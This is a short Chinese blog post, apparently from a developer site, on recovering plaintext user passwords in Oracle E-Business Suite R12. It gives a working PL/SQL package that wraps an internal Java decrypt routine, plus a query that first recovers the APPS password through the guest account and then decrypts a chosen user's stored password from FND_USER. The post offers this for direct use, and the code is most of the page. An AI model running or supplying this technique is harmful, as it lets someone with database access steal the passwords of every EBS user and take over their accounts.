Oracle EBS R12下如何破解用户密码

本文介绍如何通过创建自定义Package来解密FND_USER表中的加密用户密码,包括创建Package、查询用户信息并获取加密密码等步骤。

 

前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码。

 

1.创建Package,这个package会调用内部的解码类

--创建Package Head
CREATE OR REPLACE PACKAGE GET_PWD AS
  FUNCTION DECRYPT(KEY   IN VARCHAR2,
                   VALUE IN VARCHAR2) RETURN VARCHAR2;
END GET_PWD;
/

--创建Package Body  
CREATE OR REPLACE PACKAGE BODY GET_PWD AS
  FUNCTION DECRYPT(KEY   IN VARCHAR2,
                   VALUE IN VARCHAR2) RETURN VARCHAR2 AS
    LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END GET_PWD;
/

 2.查询用户

SELECT USR.USER_NAME,
       GET_PWD.DECRYPT((SELECT (SELECT GET_PWD.DECRYPT(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                      USERTABLE.ENCRYPTED_FOUNDATION_PASSWORD)
                                 FROM DUAL) AS APPS_PASSWORD
                         FROM APPS.FND_USER USERTABLE
                        WHERE USERTABLE.USER_NAME =
                              (SELECT SUBSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                             1,
                                             INSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                   '/') - 1)
                                 FROM DUAL)),
                       USR.ENCRYPTED_USER_PASSWORD) PASSWORD
  FROM APPS.FND_USER USR
 WHERE USR.USER_NAME = '&USER_NAME';

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值